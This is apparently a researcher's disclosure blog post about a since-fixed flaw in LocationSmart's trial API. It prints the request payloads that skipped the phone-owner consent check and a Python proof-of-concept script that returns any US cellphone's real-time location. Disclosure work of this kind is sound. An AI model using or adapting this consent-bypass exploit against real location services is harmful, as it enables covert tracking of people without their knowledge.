LocationSmart API Vulnerability
On May 16th, I found a vulnerability in the LocationSmart website which allowed anyone, with no prior authentication or consent, to obtain the realtime location of any cellphone in the US to within a few hundred feet. I immediately moved to contact US CERT to coordinate disclosure, and worked with Brian Krebs to publish the story after the vulnerability was fixed this morning (May 17th).
Now that I have verified that the vulnerability is fixed, I am releasing the relevant technical details of the bug and exploit.
Introduction
LocationSmart is a cellphone location tracking service which was recently in the news (e.g. [1], [2]) for selling location data to third party Securus, who then improperly disclosed it to a former law enforcement official. LocationSmart partners with various telecom companies to obtain the real-time location of mobile customers via cell-tower triangulation (same approach as E911 localization), counting among its partners Verizon [3], AT&T, T-Mobile, Sprint, and Canadian carriers Bell, Rogers and Telus. LocationSmart then sells the location data to other companies, for purposes including geolocated assistance and marketing. Note that because this is carrier-based, it works regardless of phone operating system or the privacy settings on the device itself. There is no ability to opt-out.
Background
LocationSmart provided a trial webpage, located at https://www.locationsmart.com/try/, where anyone can enter a cellphone number, reply to a consent request (delivered via either SMS or phone call to the target number), and see the real-time location of that number. The intention is that the phone call or text-message reply is necessary for a user to “opt-in” to the location tracking demonstration.
After selecting to track “My Mobile”, the page makes a POST request to https://www.locationsmart.com/try/api/ with the following payload (with 8005551212 replacing the real phone number):
requestdata={"deviceType":"Wireless","deviceID":"8005551212","devicedetails":"true","carrierReq":"true"}&requesttype=statusreq.json
If the selected phone number is valid, this will reply
{"uid":"REDACTED","requestTime":"2018-05-16T21:25:50.689+00:00","statusCode":0,"statusMsg":"Success","deviceId":"8005551212","token":"TOKEN","locatable":"True","network":{"carrier":"T-Mobile","locatable":"True","callType":"wireless","locAccuracySupport":"Precise Possible","nationalNumber":"8005551212","countryCode":"1","regionCode":"US","regionCountry":"UNITED STATES"},"subscriptionGroup":[{"name":"LOCA-D01-LOCNOPIN","locatable":"False","smsAvailable":"False"},{"name":"LOCA-D02-WELCOME","locatable":"False","smsAvailable":"False"}],"smsAvailable":"True","privacyConsentRequired":"True","clientLocatable":"false","clientSMSAvailable":"Not supported","whiteListed":"false"}
(Some fields have been anonymized). The TOKEN is a 12-byte value, which decodes using a modified version of Base64 to a nanosecond-precision timestamp.
The webpage then repeatedly POSTs to the same endpoint with the following payload:
requestdata={"subscriptionAction":"status","tn":"8005551212","carrierReq":"true"}&requesttype=subscriptionreq
and receives an XML payload formatted like
<?xml version="1.0" encoding="UTF-8"?> <SubscriptionResp> <uid>REDACTED</uid> <requestTime>2018-05-17T00:43:44.631+00:00</requestTime> <statusCode>0</statusCode> <statusMsg>Success</statusMsg> <tn>8005551212</tn> <subscriptionGroup>LOCA-D01-LOCNOPIN</subscriptionGroup> <subscriptionOptInState>requested</subscriptionOptInState> <contact>sms</contact> </SubscriptionResp>
It waits for the response subscriptionOptInState
to change to approved
, then makes a final POST request to the same endpoint with the following payload:
requestdata={"civicAddressReq":"True","geoAddressReq":"True","extAddressReq":"True","nearbyPoiReq":"True","privacyConsent":"True","token":"TOKEN","locationtype":"network","accuracyReq":"Coarse","tnDetailReq":"False","carrierReq":"true"}&requesttype=locreq
This replies with an XML payload containing the target device’s location. Note that the token
is the only identifier that varies in this request, and it is the same as the token obtained from the statusreq
request.
If you make a similar POST request to a phone that has not consented to location tracking, you get a payload like
<?xml version="1.0" encoding="UTF-8"?> <LocResp> <uid>REDACTED</uid> <requestTime>2018-05-17T00:03:46.073+00:00</requestTime> <statusCode>42</statusCode> <statusMsg>SubscriptionNotActive</statusMsg> <carrier>T-Mobile</carrier> <deviceId>8005551212</deviceId> <tn>8005551212</tn> </LocResp>
Vulnerability
If you make the same request with requesttype=locreq.json
, you get the full location data, without receiving consent. This is the heart of the bug. Essentially, this requests the location data in JSON format, instead of the default XML format. For some reason, this also suppresses the consent (“subscription”) check.
In essence, you can do the following:
- POST with
requestdata={"deviceType":"Wireless","deviceID":"NUMBER","devicedetails":"true","carrierReq":"true"}&requesttype=statusreq.json
to get a token
- POST with
requestdata={"civicAddressReq":"True","geoAddressReq":"True","extAddressReq":"True","nearbyPoiReq":"True","privacyConsent":"True","token":"TOKEN","locationtype":"network","accuracyReq":"Coarse","tnDetailReq":"False","carrierReq":"true"}&requesttype=locreq.json
and wait a few seconds to get a location
That’s all. The entire consent process is bypassed and you have the phone’s location. Here is the proof-of-concept Python script I built to demonstrate the issue:
#!/usr/bin/env python3 import requests import json import sys import webbrowser if len(sys.argv) >= 2: phone = sys.argv[1] else: phone = input("Phone number? ") headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0', 'DNT': '1' } r1 = requests.post('https://www.locationsmart.com/try/api/', headers=headers, data={ 'requestdata': json.dumps({"deviceType":"Wireless","deviceID":phone,"devicedetails":"true","carrierReq":"true"}), 'requesttype': 'statusreq.json' } ) data = r1.json() r2 = requests.post('https://www.locationsmart.com/try/api/', headers=headers, data={ 'requestdata': json.dumps({"civicAddressReq":"True","geoAddressReq":"True","extAddressReq":"True","nearbyPoiReq":"True","privacyConsent":"True","token":data['token'],"locationtype":"network","accuracyReq":"Coarse","tnDetailReq":"true","carrierReq":"true"}), 'requesttype': 'locreq.json' } ) data2 = r2.json() if 'civicAddress' in data2: print('{phone}: near {streetAddress}, {city}, {state} {zip}'.format(phone=phone, **data2['civicAddress'])) if 'geoAddress' in data2: url = 'http://localhost:8000/location.html?lat={coordinates[1]}&lng={coordinates[0]}&acc={accuracy}'.format(**data2['geoAddress']) webbrowser.open_new_tab(url)
This pops up a simple HTML page that draws a circle of radius acc
at coordinates lat, lng
.
84 Replies to “LocationSmart API Vulnerability”
Comments are closed.